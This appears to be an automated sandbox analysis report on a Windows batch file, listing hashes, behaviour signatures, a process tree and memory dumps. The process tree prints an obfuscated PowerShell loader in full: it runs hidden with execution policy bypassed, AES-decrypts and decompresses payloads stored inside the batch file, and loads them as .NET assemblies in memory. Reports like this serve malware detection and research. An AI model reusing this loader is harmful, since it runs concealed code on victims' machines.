930b3773e732802cf74422e6d9d3fcc1566ddfef2128da051c443a40af034c87

Resubmissions

21-04-2024 01:48

240421-b75ccsgb9x 1

21-04-2024 01:45

240421-b6nm8agb6z 1

Analysis

max time kernel
100s
max time network
103s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 01:48

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General

Target

test.bat
Size

268KB
MD5

e6eec329c32f1bf1ba285c807bdaffb0
SHA1

20e3d8fef3adedd37668ca788639bc966027cff1
SHA256

930b3773e732802cf74422e6d9d3fcc1566ddfef2128da051c443a40af034c87
SHA512

87990393433bcd2fd75fc2edbe53611c52c93206a84b7f65d1f87ae1e17f80e5168482af89d3bca1048cff3983b31e3d9d7d3247fc07a1c929fccd6ee6e7dfd4
SSDEEP

3072:7GGNSWszdUZssGdbYxjxGZcYwTM14zCRIvlWPuUCEeTLiP+Xv1XQkwzpB0R0JNxH:64SWsVxbvcYAVamUMnxQkwzbM0bHRYle

Score

1^/10

Malware Config

Signatures

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4304	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 1288	3000	cmd.exe	80
PID 3000 wrote to memory of 1288	3000	cmd.exe	80
PID 1288 wrote to memory of 2340	1288	net.exe	81
PID 1288 wrote to memory of 2340	1288	net.exe	81
PID 3000 wrote to memory of 4304	3000	cmd.exe	83
PID 3000 wrote to memory of 4304	3000	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PqzSgGfzbfKcnvutnT5mKYiHeTYi9lIqU8dajeIrFM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Fh4h+xeZ38fV8B4MJvG/IQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fhjLQ=New-Object System.IO.MemoryStream(,$param_var); $RlKtN=New-Object System.IO.MemoryStream; $mgqdF=New-Object System.IO.Compression.GZipStream($fhjLQ, [IO.Compression.CompressionMode]::Decompress); $mgqdF.CopyTo($RlKtN); $mgqdF.Dispose(); $fhjLQ.Dispose(); $RlKtN.Dispose(); $RlKtN.ToArray();}function execute_function($param_var,$param2_var){ $MGPKv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QWwXU=$MGPKv.EntryPoint; $QWwXU.Invoke($null, $param2_var);}$Dxsjd = '';$host.UI.RawUI.WindowTitle = $Dxsjd;$YlOla=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Dxsjd).Split([Environment]::NewLine);foreach ($GSRxr in $YlOla) { if ($GSRxr.StartsWith(':: ')) { $YyOfU=$GSRxr.Substring(3); break; }}$payloads_var=[string[]]$YyOfU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_to24j5zi.aap.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4304-0-0x0000015EFA940000-0x0000015EFA962000-memory.dmp

Filesize
136KB

Download
memory/4304-11-0x0000015EFA930000-0x0000015EFA940000-memory.dmp

Filesize
64KB

Download
memory/4304-10-0x0000015EFA930000-0x0000015EFA940000-memory.dmp

Filesize
64KB

Download
memory/4304-9-0x00007FFC2C570000-0x00007FFC2D032000-memory.dmp

Filesize
10.8MB

Download
memory/4304-14-0x00007FFC2C570000-0x00007FFC2D032000-memory.dmp

Filesize
10.8MB

Download